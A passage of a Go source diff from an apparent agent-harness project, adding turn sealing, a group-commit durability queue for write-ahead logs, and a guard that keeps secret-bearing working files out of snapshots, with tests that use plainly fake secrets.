{ + for _, one := range cs { + if err := one.Compose(c); err != nil { + return err + } + } + return nil +} + +// LocalDir holds only this cell's private WAL, overlays and transport scratch. +// An older engine store there stays in place for compatibility (D1). +func (e Engine) LocalDir(c cell.Cell) string { return filepath.Join(e.Root(), c.ID) } + +// Root holds the shared engine store beside each cell's private state. +func (e Engine) Root() string { + if e.DataRoot == "" { + return home.Join("v3", "stores") + } + return e.DataRoot +} + +// Seal implements Store: compose the harness-owned files, snapshot the folder, +// record the turn. +func (e Engine) Seal(ctx context.Context, c cell.Cell, info TurnInfo) (Sealed, error) { + head, err := Head(c) + if err != nil { + return Sealed{}, fmt.Errorf("seal: read head: %w", err) + } + // EVERY CAPTURED PATH MUST BE SCREENED. Changed is only an engine hint: + // a first attachment, a restore or arrival that invalidated its path index, + // or a policy change can make it walk the whole tree instead. The guard + // cannot observe that private index, so it screens the whole tree even for + // a transcript-only turn. Its ledger avoids rereading unchanged clean files. + screened, err := e.Guard.Look(c, e.tree(c), e.policyDir(c), nil, knownLocks(c)) + if err != nil { + return Sealed{}, fmt.Errorf("seal: %w", err) + } + if err := noteLeftOut(c, e.tree(c), screened, info.Calls); err != nil { + return Sealed{}, fmt.Errorf("seal: record what was left out: %w", err) + } + at := e.now() + receipt := newReceipt(info, transcriptRange(c, head), at) + raw, rid, err := receipt.encode() + if err != nil { + return Sealed{}, fmt.Errorf("seal: encode receipt: %w", err) + } + if err := e.compose(c, raw, rid, info); err != nil { + return Sealed{}, fmt.Errorf("seal: compose: %w", err) + } + changes := info.Changed + if screened.scan != nil { + changes = screened.scan.changed(e.tree(c)) + } + // The engine may make this receipt durable. Its input log must reach disk + // first, even though individual commands no longer wait for an fsync (C28). + if err := commits.flush(ctx, c.Root); err != nil { + return Sealed{}, err + } + snapshot, err := e.snapshotReply(ctx, c, rid, changes) + if err != nil { + return Sealed{}, err + } + changed, err := noteIgnored(c, snapshot.Ignored) + if err != nil { + return Sealed{}, err + } + if changed { + snapshot, err = e.snapshotReply(ctx, c, rid, []string{}) + if err != nil { + return Sealed{}, err + } + } + turn := newTurn(snapshot.Snapshot, parentOf(head), at, info, rid, e.identity()) + if err := appendTurn(c, turn); err != nil { + return Sealed{}, fmt.Errorf("seal: record turn: %w", err) + } + // Publishing can note this turn before the recorder compacts its WAL. + // Its local chain must be durable before that upload can start (C28/E1). + if err := commits.flush(ctx, c.Root); err != nil { + return Sealed{}, err + } + screened.scan.commit() + return Sealed{Turn: turn, Receipt: receipt}, nil +} + +func parentOf(head *Sealed) string { + if head == nil { + return "" + } + return head.Turn.ID +} + +func (e Engine) now() time.Time { + if e.Now == nil { + return time.Now() + } + return e.Now() +} + +func (e Engine) identity() Identity { + id := e.Identity + if id.Device == "" { + id.Device = zeroDevice + } + return id +} + +// snapshot takes one snapshot of the folder through the engine's turn-end +// seal, which attaches a folder it has not seen and seals it in one verb with +// the agent-run trigger. The label carries the receipt id, which is what ties +// a snapshot to its receipt until the engine has a receipt field of its own. +func (e Engine) snapshot(ctx context.Context, c cell.Cell, receipt string, changed []string) (string, error) { + reply, err := e.snapshotReply(ctx, c, receipt, changed) + return reply.Snapshot, err +} + +type captureReply struct { + Snapshot string `json:"snapshot"` + Ignored *ignoredPaths `json:"ignored"` +} + +func (e Engine) snapshotReply(ctx context.Context, c cell.Cell, receipt string, changed []string) (captureReply, error) { + out, err := e.do(ctx, c, e.cellDir(c), sealOp{Turn: receipt, Changed: changedPaths(changed)}) + if err != nil { + return captureReply{}, fmt.Errorf("seal: snapshot: %w", err) + } + var reply captureReply + if err := json.Unmarshal(out, &reply); err != nil || reply.Snapshot == "" { + return reply, fmt.Errorf("seal: engine answered %q, not a snapshot id", bytes.TrimSpace(out)) + } + return reply, nil +} + +// changedPaths is the paths the engine should visit instead of walking the +// folder, or nil when the caller does not know or the list is too long to +// send. The seal's own writes under the state directory always count as +// changed. +func changedPaths(changed []string) []string { + if changed == nil || len(changed) > maxChangedArgs { + return nil + } + return append([]string{cell.StateDir}, changed...) +} + +// tree is the folder the engine seals and restores. +func (e Engine) tree(c cell.Cell) string { + if w := e.workspace(c); w != "" { + return w + } + return c.Root +} + +// workspace is the folder the tools of c work in, "" when c's own folder is +// what is sealed. +func (e Engine) workspace(c cell.Cell) string { + if e.WorkspaceOf != nil { + return e.WorkspaceOf(c) + } + return e.Workspace +} + +// policyDir is where the harness keeps its exclusions: the cell's directory +// that is composed into a workspace, or the cell's own folder when that is +// what is sealed. The engine reads a .furrowpolicy from either. +func (e Engine) policyDir(c cell.Cell) string { + if e.workspace(c) == "" { + return c.Root + } + return stateDir(c) +} + +// cellDir is the cell's private .cell/ directory when it is composed into a +// tree that is not the cell's own folder, and empty otherwise. +func (e Engine) cellDir(c cell.Cell) string { + if e.workspace(c) == "" { + return "" + } + return stateDir(c) +} + +// cellDirArg names the directory the engine composes in as, and restores, the +// tree's .cell/ entry. +func cellDirArg(dir string) []string { return []string{"--cell-dir", dir} } + +// stateDir is the cell's own .cell/ directory. +func stateDir(c cell.Cell) string { return filepath.Join(c.Root, cell.StateDir) } + +// do runs one engine verb on the cell's folder against the cell's store, with +// cellDir composed in as the tree's .cell/ entry. +func (e Engine) do(ctx context.Context, c cell.Cell, cellDir string, op Op) ([]byte, error) { + target := e.target(c) + target.CellDir = cellDir + if err := e.bindTarget(ctx, c, target); err != nil { + return nil, err + } + return e.transport().Do(ctx, target, op) +} + +func (e Engine) transport() Transport { + if e.Transport != nil { + return e.Transport + } + return transportFor(e.Binary, e.Run) +} + +func parseSnapshot(out []byte) (string, error) { + var doc struct { + Snapshot string `json:"snapshot"` + } + if err := json.Unmarshal(out, &doc); err != nil || doc.Snapshot == "" { + return "", fmt.Errorf("seal: engine answered %q, not a snapshot id", bytes.TrimSpace(out)) + } + return doc.Snapshot, nil +} + +// StoreDir shares objects for new chats, while an existing per-cell store keeps +// its original folder and path-based workspace identity. WAL creation alone must +// never select the legacy layout (D1). +func (e Engine) StoreDir(c cell.Cell) string { + local := e.LocalDir(c) + if _, err := os.Stat(filepath.Join(local, "store-v1")); err == nil { + return local + } + return filepath.Join(e.Root(), "shared") +} + +func (e Engine) target(c cell.Cell) Target { + dir := e.StoreDir(c) + timeline := c.ID + if dir == e.LocalDir(c) { + timeline = "" + } + return Target{Tree: e.tree(c), DataDir: dir, CellDir: e.cellDir(c), Timeline: timeline} +} diff --git a/internal/cellstore/fake_unix_test.go b/internal/cellstore/fake_unix_test.go new file mode 100644 index 0000000000..08b6da19fd --- /dev/null +++ b/internal/cellstore/fake_unix_test.go @@ -0,0 +1,11 @@ +//go:build !windows + +package cellstore + +import "testing" + +func fakeNativeEngine(t *testing.T, help string) string { + t.Helper() + t.Fatal("native Windows fixture on Unix") + return "" +} diff --git a/internal/cellstore/fake_windows_test.go b/internal/cellstore/fake_windows_test.go new file mode 100644 index 0000000000..9eb6ba63dc --- /dev/null +++ b/internal/cellstore/fake_windows_test.go @@ -0,0 +1,41 @@ +package cellstore + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +// K1/K3: a native executable fixture proves the same read-only help probes. +func init() { + executable, _ := os.Executable() + if strings.HasPrefix(filepath.Base(executable), "c3-fake-") { + body, err := os.ReadFile(executable + ".help") + if err != nil { + os.Exit(2) + } + os.Stdout.Write(body) + os.Exit(0) + } +} + +func fakeNativeEngine(t *testing.T, help string) string { + t.Helper() + executable, err := os.Executable() + if err != nil { + t.Fatal(err) + } + path := filepath.Join(t.TempDir(), "c3-fake-engine.exe") + body, err := os.ReadFile(executable) + if err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, body, 0600); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path+".help", []byte(help), 0600); err != nil { + t.Fatal(err) + } + return path +} diff --git a/internal/cellstore/firstseal_test.go b/internal/cellstore/firstseal_test.go new file mode 100644 index 0000000000..0d461a1a14 --- /dev/null +++ b/internal/cellstore/firstseal_test.go @@ -0,0 +1,171 @@ +package cellstore + +import ( + "context" + "os" + "os/exec" + "path/filepath" + "slices" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/executor" +) + +// TestC9SeatScreensAnEmptyChangesTurn proves C9 through the real seat and +// engine: an unread working-tree secret never reaches even the first pack. +// Both a model-only answer and a call with no file changes use this door. +func TestC9SeatScreensAnEmptyChangesTurn(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + for _, path := range []string{".env", "config/settings.py"} { + for _, door := range []string{"model reply", "empty-changes call", "shell reply"} { + t.Run(path+"/"+door, func(t *testing.T) { + + r := newRig(t) + t.Setenv("CODEAF_HOME", r.guard.Home) + e := realEngine(t) + e.DataRoot = (Engine{}).Root() + e.Workspace, e.Guard = r.tree, r.guard + secret, body := "c9-not-a-real-secret", "DEMO_TOKEN=c9-not-a-real-secret\n" + if path != ".env" { + secret, body = fakeKey, "API_KEY = '"+fakeKey+"'\n" + } + r.write(".gitignore", ".env\n") + r.write(".git/HEAD", "ref: refs/heads/main\n") + r.write(".git/config", "[core]\n\trepositoryformatversion = 0\n\tbare = false\n") + for _, dir := range []string{".git/objects", ".git/refs"} { + if err := os.MkdirAll(filepath.Join(r.tree, dir), 0o700); err != nil { + t.Fatal(err) + } + } + ignored := exec.Command("git", "check-ignore", ".env") //codeaf:plumbing read-only inspection of the isolated fixture. + ignored.Dir = r.tree + if out, err := ignored.Output(); err != nil || strings.TrimSpace(string(out)) != ".env" { + t.Fatalf(".env is not gitignored: %q, %v", out, err) + } + r.write(path, body) + r.write("README.md", "C9_SAFE_CAPTURE_MARKER\n") + seat, err := SeatOver(executor.HostBound, r.cell, r.tree, nil, func(err error) { + if err != nil { + t.Errorf("seal: %v", err) + } + }, nil, func(at *Engine) { *at = e }) + if err != nil { + t.Fatal(err) + } + ctx := context.Background() + if door == "empty-changes call" { + if err := seat.Around(ctx, executor.Call{Tool: "read", Changed: []string{}}, func() ([]byte, bool) { return []byte("ok"), false }); err != nil { + t.Fatal(err) + } + } + if door == "shell reply" { + if _, err := seat.In(r.tree).Exec(ctx, executor.ExecRequest{Argv: []string{testShell(t), "-c", "echo ok"}}, nil); err != nil { + t.Fatal(err) + } + } + if err := os.WriteFile(filepath.Join(r.cell.Root, cell.TranscriptPath), []byte("assistant: ok\n"), 0o600); err != nil { + t.Fatal(err) + } + executor.Settle(ctx, seat) + if head, err := Head(r.cell); err != nil || head == nil { + t.Fatalf("no sealed turn: %v", err) + } + assertC9Screened(t, e, r, path, secret) + if path == ".env" { + res, err := seat.In(r.tree).Exec(ctx, executor.ExecRequest{Argv: []string{testShell(t), "-c", `test "$DEMO_TOKEN" = c9-not-a-real-secret`}}, nil) + if err != nil || res.Exit != 0 { + t.Fatalf("tools lost the vaulted variable: %+v, %v", res, err) + } + } + }) + } + } + }) +} + +// TestC9SealScreensBeyondItsChangedHint proves C9 for index resets after a +// restore, arrival or rematerialization, and for the full-tree fallback. +func TestC9SealScreensBeyondItsChangedHint(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + for _, door := range []string{"restore", "evicted workspace", "arrival", "new workspace path", "large changed list", "policy change", "new hardlink", "workspace root hint"} { + t.Run(door, func(t *testing.T) { + r := newRig(t) + e := realEngine(t) + e.Workspace, e.Guard = r.tree, r.guard + r.write("README.md", "C9_SAFE_CAPTURE_MARKER\n") + ctx := context.Background() + first, err := e.Seal(ctx, r.cell, TurnInfo{}) + if err != nil { + t.Fatal(err) + } + switch door { + case "evicted workspace": + if err := os.RemoveAll(r.tree); err != nil { + t.Fatal(err) + } + if err := os.MkdirAll(r.tree, 0o700); err != nil { + t.Fatal(err) + } + if err := e.Restore(ctx, r.cell, first.Turn.ID, nil); err != nil { + t.Fatal(err) + } + case "restore": + if err := e.Restore(ctx, r.cell, first.Turn.ID, nil); err != nil { + t.Fatal(err) + } + case "arrival": + if err := e.Sync(SyncKeys{}, "c9").Materialize(ctx, r.cell, first.Turn.ID); err != nil { + t.Fatal(err) + } + case "new workspace path": + r.tree = t.TempDir() + e.Workspace = r.tree + r.write("README.md", "C9_SAFE_CAPTURE_MARKER\n") + } + r.write(".env", "DEMO_TOKEN=c9-not-a-real-secret\n") + changed := []string{} + if door == "large changed list" { + changed = make([]string, maxChangedArgs+1) + } + if door == "policy change" { + r.write(policyName, "# the capture policy changed\n") + changed = []string{policyName} + } + if door == "new hardlink" { + if err := os.Link(filepath.Join(r.tree, "README.md"), filepath.Join(r.tree, "linked-readme")); err != nil { + t.Fatal(err) + } + changed = []string{"linked-readme"} + } + if door == "workspace root hint" { + changed = []string{"."} + } + if _, err := e.Seal(ctx, r.cell, TurnInfo{Changed: changed}); err != nil { + t.Fatal(err) + } + assertC9Screened(t, e, r, ".env", "c9-not-a-real-secret") + }) + } + }) +} + +func assertC9Screened(t *testing.T, e Engine, r *guardRig, path, secret string) { + t.Helper() + for _, dir := range []string{e.StoreDir(r.cell), stateDir(r.cell)} { + if hits := grepStore(t, dir, secret); len(hits) != 0 { + t.Fatalf("working-tree secret reached raw saved files: %v", hits) + } + } + if len(grepStore(t, e.StoreDir(r.cell), "C9_SAFE_CAPTURE_MARKER")) == 0 { + t.Fatal("the fixture did not capture its safe file in plaintext") + } + _, withheld, err := e.Withheld(r.cell) + if err != nil || !slices.Contains(withheld, path) { + t.Fatalf("withheld = %v, %v; missing %s", withheld, err, path) + } + if len(r.notice) != 1 || !strings.Contains(r.notice[0], path) { + t.Fatalf("withholding was not announced once: %v", r.notice) + } +} diff --git a/internal/cellstore/golden_test.go b/internal/cellstore/golden_test.go new file mode 100644 index 0000000000..9783f051ad --- /dev/null +++ b/internal/cellstore/golden_test.go @@ -0,0 +1,34 @@ +package cellstore + +import ( + "path/filepath" + "testing" + + "github.com/Agent-Field/codeaf/internal/lawcheck" +) + +var _ = lawcheck.UpdateFlag() + +// The WAL record is unexported, so its golden rows live here; the exported +// schemas are in internal/lawcheck. +func TestGoldenWALRecords(t *testing.T) { + intent := Intent{V: 1, Tool: "bash", ArgsHash: "d1f0", Started: 1759049981200, SideEffect: "external"} + done := Executed{ + Call: Call{Tool: "bash", ArgsHash: "d1f0", Started: 1759049981200, Ended: 1759049981940, StdoutHash: "0a1b", StderrHash: "e3b0", SideEffect: "external"}, + Services: []ServiceRec{{PID: 4711, Argv: []string{"postgres"}, Ports: []int{5432}}}, + Exact: false, Trigger: Setup, Changed: []string{"var/pg"}, Stdout: []byte("ok"), Stderr: []byte("warn"), + } + intentV2 := Intent{V: 2, Tool: "bash", ArgsHash: "d1f0", Started: 1759049981200, SideEffect: "local", Brief: "sleep 150"} + group := GroupRec{PGID: 4711, Start: 377568552, Owner: 4700, OwnerStart: 377567646} + for name, rec := range map[string]record{ + "wal.intent.v2": {V: 2, Op: opIntent, Intent: intentV2}, + "wal.group": {V: 2, Op: opGroup, Intent: intentV2, Group: &group}, + "wal.intent": {V: 1, Op: opIntent, Intent: intent}, + "wal.done": {V: 1, Op: opDone, Intent: intent, Done: &done}, + "wal.resolved": {V: 1, Op: opResolved, Intent: intent}, + } { + t.Run(name, func(t *testing.T) { + lawcheck.Golden(t, filepath.Join("testdata", name+".golden.json"), rec) + }) + } +} diff --git a/internal/cellstore/groupcommit.go b/internal/cellstore/groupcommit.go new file mode 100644 index 0000000000..76d749e5be --- /dev/null +++ b/internal/cellstore/groupcommit.go @@ -0,0 +1,154 @@ +package cellstore + +import ( + "context" + "errors" + "fmt" + "os" + "path/filepath" + "sync" + "time" +) + +// CommitEvery bounds the power-loss window in C28. Commands write to the kernel +// in order; one background group commit supplies disk durability separately. +const CommitEvery = 250 * time.Millisecond + +type commitPath struct{ owner, path string } + +// commitQueue keeps generations, rather than open descriptors, because a WAL +// compaction replaces its inode. A concurrent write always needs another sync. +type commitQueue struct { + mu sync.Mutex + pending map[commitPath]uint64 + next uint64 + timer bool + after func(time.Duration, func()) + flushing chan struct{} + syncPath func(string) error +} + +var commits = newCommitQueue(syncPath) + +func newCommitQueue(syncFile func(string) error) *commitQueue { + return &commitQueue{pending: map[commitPath]uint64{}, flushing: make(chan struct{}, 1), syncPath: syncFile, after: func(d time.Duration, f func()) { time.AfterFunc(d, f) }} +} + +func (q *commitQueue) mark(owner, path string, parent bool) { + q.mu.Lock() + defer q.mu.Unlock() + q.next++ + q.pending[commitPath{owner, path}] = q.next + if parent { + q.pending[commitPath{owner, filepath.Dir(path)}] = q.next + q.pending[commitPath{owner, filepath.Dir(filepath.Dir(path))}] = q.next + } + if !q.timer { + q.timer = true + q.after(CommitEvery, q.background) + } +} + +func (q *commitQueue) background() { + _ = q.flush(context.Background(), "") + q.mu.Lock() + defer q.mu.Unlock() + q.timer = false + // Failed writes remain owed. A later boundary reports their actual error; + // retrying here must never acknowledge a record that did not reach disk. + if len(q.pending) > 0 { + q.timer = true + q.after(CommitEvery, q.background) + } +} + +// flush joins the current group commit without holding up record writes on its +// mutex. Only explicit durability boundaries wait for sync; commands never do. +func (q *commitQueue) flush(ctx context.Context, owner string) error { + select { + case q.flushing <- struct{}{}: + case <-ctx.Done(): + return ctx.Err() + } + defer func() { <-q.flushing }() + for { + q.mu.Lock() + batch := map[commitPath]uint64{} + for p, version := range q.pending { + if owner == "" || p.owner == owner { + batch[p] = version + } + } + q.mu.Unlock() + if len(batch) == 0 { + return nil + } + // File contents precede directory entries. A rename must not outlive the + // replacement WAL's data after power loss (C28). + for _, dirs := range []bool{false, true} { + for p, version := range batch { + if err := ctx.Err(); err != nil { + return err + } + info, err := os.Stat(p.path) + if errors.Is(err, os.ErrNotExist) { + q.clear(p, version) + continue + } + if err != nil { + return fmt.Errorf("save call records: %w", err) + } + if info.IsDir() != dirs { + continue + } + if err := q.syncPath(p.path); err != nil { + return fmt.Errorf("save call records: %w", err) + } + q.clear(p, version) + } + } + } +} + +func (q *commitQueue) clear(p commitPath, version uint64) { + q.mu.Lock() + defer q.mu.Unlock() + if q.pending[p] == version { + delete(q.pending, p) + } +} + +func syncPath(path string) error { + f, err := os.Open(path) + if err != nil { + return err + } + defer f.Close() + return f.Sync() +} + +// Flush commits every local record before the CLI exits. Conversation close +// drains its capture first; this final boundary also covers standalone verbs. +func Flush(ctx context.Context) error { + // A seat may have started warming before opening its agent failed. Such a + // capture still belongs to this process and must finish before exit (E2). + captures.Lock() + active := make([]*captureState, 0, len(captures.cells)) + for _, state := range captures.cells { + select { + case <-state.done: + default: + active = append(active, state) + } + } + captures.Unlock() + var fault error + for _, state := range active { + if err := awaitCapture(ctx, state.done); err != nil { + fault = errors.Join(fault, err) + continue + } + fault = errors.Join(fault, state.err) + } + return errors.Join(fault, commits.flush(ctx, "")) +} diff --git a/internal/cellstore/groupcommit_test.go b/internal/cellstore/groupcommit_test.go new file mode 100644 index 0000000000..5fc3c14915 --- /dev/null +++ b/internal/cellstore/groupcommit_test.go @@ -0,0 +1,220 @@ +package cellstore + +import ( + "context" + "errors" + "os" + "path/filepath" + "reflect" + "strings" + "testing" + "time" +) + +// TestC28GroupCommitWritesBeforeItsClockFires proves C28/E1: ordered records +// are visible after each write, with no fsync until the shared 250ms tick. +func TestC28GroupCommitWritesBeforeItsClockFires(t *testing.T) { + path := filepath.Join(t.TempDir(), "calls") + var synced []string + q := newCommitQueue(func(p string) error { synced = append(synced, p); return nil }) + var tick func() + q.after = func(d time.Duration, f func()) { + if d != 250*time.Millisecond { + t.Fatalf("group interval %s", d) + } + if tick != nil { + t.Fatal("one timer per group") + } + tick = f + } + for _, line := range []string{"intent\n", "group\n", "done\n"} { + f, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600) + if err != nil { + t.Fatal(err) + } + if _, err = f.WriteString(line); err != nil { + t.Fatal(err) + } + if err = f.Close(); err != nil { + t.Fatal(err) + } + q.mark("chat", path, false) + } + raw, err := os.ReadFile(path) + if err != nil || string(raw) != "intent\ngroup\ndone\n" { + t.Fatalf("ordered writes %q %v", raw, err) + } + if len(synced) != 0 { + t.Fatalf("command synced: %v", synced) + } + tick() + if !reflect.DeepEqual(synced, []string{path}) { + t.Fatalf("one group sync: %v", synced) + } +} + +// TestC28BoundaryReportsFailedSyncAndRetainsDebt proves C28/E1: handoff and +// exit cannot silently acknowledge a failed group commit; retry keeps the debt. +func TestC28BoundaryReportsFailedSyncAndRetainsDebt(t *testing.T) { + path := filepath.Join(t.TempDir(), "calls") + if err := os.WriteFile(path, []byte("done\n"), 0600); err != nil { + t.Fatal(err) + } + fault := errors.New("disk refused sync") + q := newCommitQueue(func(string) error { return fault }) + q.after = func(time.Duration, func()) {} + q.mark("chat", path, true) + if err := q.flush(t.Context(), "chat"); !errors.Is(err, fault) { + t.Fatalf("boundary hid failure: %v", err) + } + if len(q.pending) == 0 { + t.Fatal("failed sync acknowledged data") + } + q.syncPath = func(string) error { return nil } + if err := q.flush(t.Context(), "chat"); err != nil { + t.Fatal(err) + } + if len(q.pending) != 0 { + t.Fatal("successful retry did not drain") + } +} + +// TestC28ConcurrentWriteRemainsOwed proves C28/E1: a write occurring during a +// group fsync is not mistaken for bytes already committed by that generation. +func TestC28ConcurrentWriteRemainsOwed(t *testing.T) { + path := filepath.Join(t.TempDir(), "calls") + if err := os.WriteFile(path, nil, 0600); err != nil { + t.Fatal(err) + } + var q *commitQueue + count := 0 + q = newCommitQueue(func(string) error { + count++ + if count == 1 { + q.mark("chat", path, false) + } + return nil + }) + q.after = func(time.Duration, func()) {} + q.mark("chat", path, false) + if err := q.flush(t.Context(), "chat"); err != nil { + t.Fatal(err) + } + if count != 2 { + t.Fatalf("concurrent generation synced %d times", count) + } +} + +// TestC28CancelledBoundaryKeepsDebt proves C28/E1: a cancelled close waiting +// behind disk IO reports cancellation and leaves its records pending. +func TestC28CancelledBoundaryKeepsDebt(t *testing.T) { + q := newCommitQueue(func(string) error { return nil }) + q.after = func(time.Duration, func()) {} + q.mark("chat", "calls", false) + q.flushing <- struct{}{} + ctx, cancel := context.WithCancel(t.Context()) + cancel() + if err := q.flush(ctx, "chat"); !errors.Is(err, context.Canceled) { + t.Fatalf("cancelled flush: %v", err) + } + if len(q.pending) != 1 { + t.Fatal("cancelled boundary lost records") + } +} + +// TestC28TornTailKeepsEarlierHistoryAndFutureWrites proves C28/L12: a power +// cut may discard its final append, but neither an earlier turn nor the next +// complete call can become unreadable because of that tail. +func TestC28TornTailKeepsEarlierHistoryAndFutureWrites(t *testing.T) { + c := newCell(t) + fake := &fakeEngine{} + e := fake.engine(t) + first, err := e.Seal(t.Context(), c, TurnInfo{}) + if err != nil { + t.Fatal(err) + } + f, err := os.OpenFile(rel(c, TurnsPath), os.O_APPEND|os.O_WRONLY, 0600) + if err != nil { + t.Fatal(err) + } + _, err = f.WriteString(`{"V":1,"id":"torn` + "\n" + `{"V":1,"id":"partial`) + if err != nil { + t.Fatal(err) + } + if err = f.Close(); err != nil { + t.Fatal(err) + } + head, err := Head(c) + if err != nil || head == nil || head.Turn.ID != first.Turn.ID { + t.Fatalf("torn turn damaged head: %+v %v", head, err) + } + second, err := e.Seal(t.Context(), c, TurnInfo{}) + if err != nil { + t.Fatal(err) + } + if second.Turn.Parent != first.Turn.ID { + t.Fatal("next seal lost previous parent") + } + head, err = Head(c) + if err != nil || head.Turn.ID != second.Turn.ID { + t.Fatalf("new head after torn tail: %+v %v", head, err) + } + wal := filepath.Join(t.TempDir(), "calls") + w, _, err := OpenWAL(wal) + if err != nil { + t.Fatal(err) + } + i := Intent{V: walV, ArgsHash: "first", Started: 1, SideEffect: "external"} + if err = w.Begin(i); err != nil { + t.Fatal(err) + } + f, err = os.OpenFile(wal, os.O_APPEND|os.O_WRONLY, 0600) + if err != nil { + t.Fatal(err) + } + _, err = f.WriteString(`{"V":2,"op":"done` + "\n" + `{"V":2,"op":"partial`) + if err != nil { + t.Fatal(err) + } + if err = f.Close(); err != nil { + t.Fatal(err) + } + w, rec, err := OpenWAL(wal) + if err != nil || len(rec.Incomplete) != 1 { + t.Fatalf("earlier intent lost: %+v %v", rec, err) + } + i.ArgsHash = "next" + i.Started = 2 + if err = w.Begin(i); err != nil { + t.Fatal(err) + } + _, rec, err = OpenWAL(wal) + if err != nil || len(rec.Incomplete) != 2 { + t.Fatalf("new record hidden by torn tail: %+v %v", rec, err) + } +} + +// TestC28SealCannotPublishBeforeRecordFlush proves C28/E1/L12: the engine +// cannot return a sealed turn to its publishing wrapper until the call/turn +// records reach disk, even though the recorder has not compacted the WAL yet. +func TestC28SealCannotPublishBeforeRecordFlush(t *testing.T) { + c := newCell(t) + fake := &fakeEngine{} + e := fake.engine(t) + parent := filepath.Join(t.TempDir(), "file") + if err := os.WriteFile(parent, nil, 0600); err != nil { + t.Fatal(err) + } + path := filepath.Join(parent, "not-a-directory") + defer func() { commits.mu.Lock(); delete(commits.pending, commitPath{c.Root, path}); commits.mu.Unlock() }() + e.Run = func(ctx context.Context, dir string, environ []string, argv ...string) ([]byte, error) { + // Introduce the flush failure only after the pre-capture dependency flush. + out, err := fake.run(ctx, dir, environ, argv...) + commits.mark(c.Root, path, false) + return out, err + } + _, err := e.Seal(t.Context(), c, TurnInfo{}) + if err == nil || !strings.Contains(err.Error(), "save call records") { + t.Fatalf("publisher received an unflushed turn: %v", err) + } +} diff --git a/internal/cellstore/guard.go b/internal/cellstore/guard.go new file mode 100644 index 0000000000..5fb69e463b --- /dev/null +++ b/internal/cellstore/guard.go @@ -0,0 +1,218 @@ +package cellstore + +import ( + "fmt" + "os" + "path/filepath" + "strings" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/keys" +) + +// Guard is law L3 for working files: a withheld secret file never enters the +// working-tree capture. Git history travels intact, sealed between paired +// devices, even if a commit holds a secret. Before each seal the guard scans +// the working files it will capture. A file that holds a secret goes out of the +// tree with one notice, and the vault carries it to the other machines whole +// (internal/vaultsync Files); the variables of an environment file also go to +// the vault one by one, which is what a tool's environment is made from. "Out of the tree" is the engine's own exclude policy (withheld.go), +// so the file stays where it is on this machine and is simply never captured. +// Nothing is written into the tree: the exclusions live in the cell's own folder. +// +// The zero Guard works: the vault lives in the codeaf home and a notice is one +// line on stderr. +type Guard struct { + // Home is the codeaf home that holds the vault; empty means the state root. + Home string + // Notify receives one line for a path newly withheld; nil writes to stderr. + Notify func(string) + // Ledger, when set, spares a file that has not changed since it was found + // clean from being read again; EngineFor sets one per session. + Ledger *keys.Ledger + index *captureIndex +} + +func (g Guard) home() string { + if g.Home == "" { + return home.Dir() + } + return g.Home +} + +func (g Guard) notify(line string) { + if g.Notify != nil { + g.Notify(line) + return + } + fmt.Fprintln(os.Stderr, "codeaf: "+line) +} + +// Screen is the pre-seal step for the tree the seal will capture. changed is +// the paths the seal will visit, nil for all of it. A path already withheld is +// looked at again every time, so a file is never re-announced and never +// forgotten. A failure to record the exclusion fails the seal: nothing is +// captured that was not screened. +func (g Guard) Screen(c cell.Cell, tree, policyDir string, changed []string) error { + _, err := g.Look(c, tree, policyDir, changed, nil) + return err +} + +// Look is [Guard.Screen] that also answers what else it found: the install +// folders this seal leaves out and the lockfiles it saw. locks is the lockfiles +// known from before, which a look at only the changed paths keeps. +func (g Guard) Look(c cell.Cell, tree, policyDir string, changed, locks []string) (Screened, error) { + policy, err := readPolicy(tree, policyDir) + if err != nil { + return Screened{}, fmt.Errorf("screen for secrets: %w", err) + } + policy.ignoredDirs, err = ignoredDirectories(tree) + if err != nil { + return Screened{}, fmt.Errorf("screen for secrets: %w", err) + } + left := g.leftOut(tree, changed, locks, policy) + policy = policy.leaving(left.paths()) + scan := g.index.begin(captureKey(tree, c.ID)) + secrets, unreadable := splitUnreadable(g.scanWith(tree, changed, policy, scan)) + next := policy.with(pathsOf(secrets)).unreadableAre(pathsOf(unreadable)) + if err := next.write(policyDir); err != nil { + return Screened{}, fmt.Errorf("screen for secrets: %w", err) + } + g.announce(policy, secrets) + g.announceUnreadable(policy, unreadable) + g.vault(c, tree, secrets) + left.Apart = next.apart() + left.scan = scan + return left, nil +} + +// splitUnreadable parts the findings that name a secret from those that name a +// path this machine could not read: the first go to the vault and the secrets +// block, the second only to their own block. +func splitUnreadable(found []keys.Finding) (secrets, unreadable []keys.Finding) { + for _, f := range found { + if f.Rule == keys.RuleUnreadable { + unreadable = append(unreadable, f) + } else { + secrets = append(secrets, f) + } + } + return secrets, unreadable +} + +// scan is the findings among what a seal of changed would capture, plus the +// paths already withheld or unreadable, which are looked at again so a file whose +// permissions were fixed goes back into the next seal. +func (g Guard) scan(tree string, changed []string, policy policyFile) []keys.Finding { + return g.scanWith(tree, changed, policy, nil) +} + +func (g Guard) scanWith(tree string, changed []string, policy policyFile, scan *captureScan) []keys.Finding { + again := append(append([]string(nil), policy.withheld...), policy.unreadable...) + held := keys.Scanner{Skip: func(rel string) bool { return policy.isLeftOut(rel) || policy.isRebuilt(rel) }}.Paths(tree, again) + sc := keys.Scanner{Skip: skipping(policy), Ledger: g.Ledger, Visit: scan.visit} + if changed == nil || len(changed) > maxChangedArgs { + return append(held, sc.Walk(tree)...) + } + return append(held, sc.Paths(tree, changed)...) +} + +func skipping(policy policyFile) func(string) bool { + return func(rel string) bool { + return policy.isLeftOut(rel) || policy.isWithheld(rel) || policy.isRebuilt(rel) || policy.isUnreadable(rel) || policy.isHeld(rel) + } +} + +func pathsOf(found []keys.Finding) []string { + seen := map[string]bool{} + var out []string + for _, f := range found { + if !seen[f.Path] { + seen[f.Path] = true + out = append(out, f.Path) + } + } + return out +} + +// announce tells a person once about each path newly withheld. It names the +// file and the rule, never the value. +func (g Guard) announce(before policyFile, found []keys.Finding) { + for _, f := range found { + if !before.isWithheld(f.Path) { + g.notify(noticeFor(f)) + } + } +} + +// announceUnreadable tells a person once about each path newly left out because +// this machine cannot read 